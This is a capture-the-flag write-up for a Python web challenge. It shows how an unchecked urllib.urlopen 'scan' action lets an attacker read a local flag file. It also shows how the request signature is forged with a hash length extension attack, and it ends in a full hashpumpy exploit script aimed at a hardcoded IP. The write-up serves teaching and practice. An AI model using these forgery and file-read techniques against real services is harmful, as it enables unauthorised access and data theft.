Rating: 4.0

#### 1. Read the source file patiently.
first of all, we can have a look at the source file. We found that there exists some useful things for us to get flag
```
geneSign -> we can use this to get a signature
De1ta -> this we lead us to get our flag
focus on this
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action: <- scan the file
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action: <- read the file
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
```
```
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50] <- the most important place
except:
return "Connection Timeout"
```
#### 2. test something in your own computer
* `urllib.urlopen('file:flag.txt')` it shows the flag, but we are blocked by the waf function...o(╥﹏╥)o
* To be honest. I stuck into this for a long time, find a lot of writeups in the internet, I am wondering if I am in the right way.
* then I test `urllib.urlopen('http://localhost/flag.txt')` it shows 404, obviously, the route doesn't provide the url to get our flag directly.
* My friend told me tha I can just use `urllib.urlopen('flag.txt')` that's right.... So let us get the flag
* so we just have 2 steps.
* At first, read the flag into result.txt, then use read to read the content in the result.txt
* before use read to get the flag, we notice that we must pass the verification. It is a hash extension attack, we can use hashpump to simplify our exp.
#### 3. try to get the flag!
Here is my exp.
```
import requests,hashpumpy,urllib
"""
hashpump(hexdigest, original_data, data_to_add, key_length) -> (digest, message)

Arguments:
hexdigest(str): Hex-encoded result of hashing key + original_data.
original_data(str): Known data used to get the hash result hexdigest.
data_to_add(str): Data to append
key_length(int): Length of unknown data prepended to the hash

Returns:
A tuple containing the new hex digest and the new message.
'
"""
payload = 'flag.txt'
param = 'param=' + payload
base_url = 'http://139.180.128.86/'
signurl = base_url + 'geneSign?' + param
r = requests.post(url=signurl,cookies={'action':'scan'})
sign = r.content
print sign
readsign,add_data = hashpumpy.hashpump(sign,payload+'scan','read',16)
print readsign
# print add_data
add_data = add_data[len(payload):]
print add_data
expurl = base_url + 'De1ta?' + param
r = requests.post(url=expurl,cookies={'action':urllib.quote(add_data),'sign':readsign})
print r.content
```